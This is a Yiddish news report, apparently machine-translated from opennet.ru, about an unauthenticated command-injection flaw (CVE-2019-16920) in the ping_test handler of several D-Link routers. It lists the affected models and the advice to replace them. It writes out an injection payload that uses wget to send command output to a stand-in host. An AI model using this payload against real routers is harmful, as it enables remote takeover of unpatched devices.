ืจื™ืžืึธื•ื˜ืœื™ ืขืงืกืคึผืœื•ื™ื˜ืึทื‘ืึทืœ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ืŸ D-Link ืจืึธื•ื˜ืขืจืก

ืื™ืŸ D-Link ื•ื•ื™ื™ืจืœื™ืก ืจืึธื•ื˜ืขืจืก ื™ื™ื“ืขื ืึทืคื™ื™ื“ ื’ืขืคืขืจืœืขืš ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ (CVE-2019-16920), ื•ื•ืึธืก ืึทืœืึทื•ื– ืื™ืจ ืฆื• ืจื™ืžืึธื•ื˜ืœื™ ื•ื™ืกืคื™ืจืŸ ืงืึธื“ ืื•ื™ืฃ ื“ื™ ืžื™ื˜ืœ ื–ื™ื™ึทื˜ ื“ื•ืจืš ืฉื™ืงืŸ ืึท ืกืคึผืขืฆื™ืขืœ ื‘ืขื˜ืŸ ืฆื• ื“ื™ "ืคึผื™ื ื’_ื˜ืขืกื˜" ื”ืึทื ื“ืœืขืจ, ืฆื•ื˜ืจื™ื˜ืœืขืš ืึธืŸ ืึธื˜ืขื ื˜ืึทืงื™ื™ืฉืึทืŸ.

ื™ื ื˜ืขืจืขืกื˜ื™ื ื’ืœื™, ืœื•ื™ื˜ ื“ื™ ืคื™ืจืžื•ื•ืึทืจืข ื“ืขื•ื•ืขืœืึธืคึผืขืจืก, ื“ื™ ืจื•ืคืŸ "ืคึผื™ื ื’_ื˜ืขืกื˜" ื–ืึธืœ ื–ื™ื™ืŸ ืขืงืกืึทืงื™ื•ื˜ืึทื“ ื‘ืœื•ื™ื– ื ืึธืš ืึธื˜ืขื ื˜ืึทืงื™ื™ืฉืึทืŸ, ืึธื‘ืขืจ ืื™ืŸ ืคืึทืงื˜ ืขืก ืื™ื– ื’ืขืจื•ืคึฟืŸ ืื™ืŸ ืงื™ื™ืŸ ืคืึทืœ, ืจืึทื’ืึทืจื“ืœืึทืก ืคื•ืŸ ืœืึธื’ื™ื ื’ ืื™ืŸ ื“ื™ ื•ื•ืขื‘ ืฆื•ื‘ื™ื ื“. ืื™ืŸ ื‘ืึทื–ื•ื ื“ืขืจ, ื•ื•ืขืŸ ืึทืงืกืขืกื™ื ื’ ื“ื™ application_sec.cgi ืฉืจื™ืคื˜ ืื•ืŸ ืคืึธืจืŸ ื“ื™ "action=ping_test" ืคึผืึทืจืึทืžืขื˜ืขืจ, ื“ื™ ืฉืจื™ืคื˜ ืจื™ื“ืขืจืขืงืฅ ืฆื• ื“ื™ ืึธื˜ืขื ื˜ืึทืงื™ื™ืฉืึทืŸ ื‘ืœืึทื˜, ืึธื‘ืขืจ ืื™ืŸ ื“ืขืจ ื–ืขืœื‘ื™ืงืขืจ ืฆื™ื™ื˜ ืคึผืขืจืคืึธืจืžื– ื“ื™ ืึทืงืฆื™ืข ืคึฟืึทืจื‘ื•ื ื“ืŸ ืžื™ื˜ ping_test. ืฆื• ื•ื™ืกืคื™ืจืŸ ื“ืขื ืงืึธื“, ืืŸ ืื ื“ืขืจ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ื– ื’ืขื ื™ืฆื˜ ืื™ืŸ ืคึผื™ื ื’_ื˜ืขืกื˜ ื–ื™ืš, ื•ื•ืึธืก ืจื•ืคื˜ ื“ื™ ืคึผื™ื ื’ ื ื•ืฆืŸ ืึธืŸ ืจื™ื›ื˜ื™ืง ืงืึธื ื˜ืจืึธืœื™ืจืŸ ื“ื™ ืจื™ื›ื˜ื™ืง ืคื•ืŸ ื“ื™ IP ืึทื“ืจืขืก ื’ืขืฉื™ืงื˜ ืคึฟืึทืจ ื˜ืขืกื˜ื™ื ื’. ืคึฟืึทืจ ื‘ื™ื™ึทืฉืคึผื™ืœ, ืฆื• ืจื•ืคืŸ ื“ื™ wget ื ื•ืฆืŸ ืื•ืŸ ืึทืจื™ื‘ืขืจืคื™ืจืŸ ื“ื™ ืจืขื–ื•ืœื˜ืึทื˜ืŸ ืคื•ืŸ ื“ื™ "ืขืงืึธื• 1234" ื‘ืึทืคึฟืขืœ ืฆื• ืึท ืคื•ื ื“ืจื•ื™ืกื ื“ื™ืง ื‘ืึทืœืขื‘ืึธืก, ื ืึธืจ ืกืคึผืขืฆื™ืคื™ืฆื™ืจืŸ ื“ืขื ืคึผืึทืจืึทืžืขื˜ืขืจ "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$(ืขืงืึธื• 1234)".

ืจื™ืžืึธื•ื˜ืœื™ ืขืงืกืคึผืœื•ื™ื˜ืึทื‘ืึทืœ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ืŸ D-Link ืจืึธื•ื˜ืขืจืก

ื“ื™ ื‘ื™ื™ึทื–ื™ื™ึทืŸ ืคื•ืŸ ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ื– ืึทืคื™ืฉืึทืœื™ ื‘ืืฉื˜ืขื˜ื™ืงื˜ ืื™ืŸ ื“ื™ ืคืืœื’ืขื ื“ืข ืžืึธื“ืขืœืก:

  • DIR-655 ืžื™ื˜ ืคื™ืจืžื•ื•ืึทืจืข 3.02b05 ืึธื“ืขืจ ืขืœื˜ืขืจ;
  • DIR-866L ืžื™ื˜ ืคื™ืจืžื•ื•ืึทืจืข 1.03b04 ืึธื“ืขืจ ืขืœื˜ืขืจ;
  • DIR-1565 ืžื™ื˜ ืคื™ืจืžื•ื•ืึทืจืข 1.01 ืึธื“ืขืจ ืขืœื˜ืขืจ;
  • DIR-652 (ืงื™ื™ืŸ ืื™ื ืคึฟืึธืจืžืึทืฆื™ืข ื•ื•ืขื’ืŸ ืคึผืจืึธื‘ืœืขืžืึทื˜ื™ืง ืคื™ืจืžื•ื•ืึทืจืข ื•ื•ืขืจืกื™ืขืก ืื™ื– ืฆื•ื’ืขืฉื˜ืขืœื˜)

ื“ื™ ืฉื˜ื™ืฆืŸ ืฆื™ื™ื˜ ืคึฟืึทืจ ื“ื™ ืžืึธื“ืขืœืก ืื™ื– ืฉื•ื™ืŸ ืื•ื™ืกื’ืขื’ืื ื’ืขืŸ, ืึทื–ื•ื™ D-Link ื”ืื˜, ื•ื•ืึธืก ื•ื•ืขื˜ ื ื™ืฉื˜ ืžืขืœื“ื•ื ื’ ื“ืขืจื”ื™ื™ึทื ื˜ื™ืงื•ื ื’ืขืŸ ืคึฟืึทืจ ื–ื™ื™ ืฆื• ืขืœื™ืžื™ื ื™ืจืŸ ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™, ืขืก ืื™ื– ื ื™ืฉื˜ ืจืขืงืึทืžืขื ื“ื™ื“ ืฆื• ื ื•ืฆืŸ ื–ื™ื™ ืื•ืŸ ืึทื“ื•ื•ื™ื™ื–ื™ื– ื–ื™ื™ ืจื™ืคึผืœื™ื™ืกื˜ ืžื™ื˜ ื ื™ื™ึทืข ื“ืขื•ื•ื™ืกืขืก. ื•ื•ื™ ืึท ื–ื™ื›ืขืจื”ื™ื™ื˜ ื•ื•ืึธืจืงืึทืจืึธื•ื ื“, ืื™ืจ ืงืขื ืขืŸ ื‘ืึทื’ืจืขื ืขืฆืŸ ืึทืงืกืขืก ืฆื• ื“ื™ ื•ื•ืขื‘ ืฆื•ื‘ื™ื ื“ ื‘ืœื•ื™ื– ืฆื• ื˜ืจืึทืกื˜ื™ื“ IP ืึทื“ืจืขืกืขืก.

ืขืก ืื™ื– ืฉืคึผืขื˜ืขืจ ื“ื™ืกืงืึทื•ื•ืขืจื“ ืึทื– ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ื– ืื•ื™ืš ืึทืคืขืงืฅ ืžืึธื“ืขืœืก DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 ืื•ืŸ DIR-825, ืคึผืœืึทื ื– ืคึฟืึทืจ ืจื™ืœื™ืกื™ื ื’ ื“ืขืจื”ื™ื™ึทื ื˜ื™ืงื•ื ื’ืขืŸ ืคึฟืึทืจ ื•ื•ืึธืก ื–ืขื ืขืŸ ื ืึธืš ื ื™ืฉื˜ ื‘ืึทื•ื•ื•ืกื˜.

ืžืงื•ืจ: opennet.ru

ืœื™ื™ื’ืŸ ืึท ื‘ืึทืžืขืจืงื•ื ื’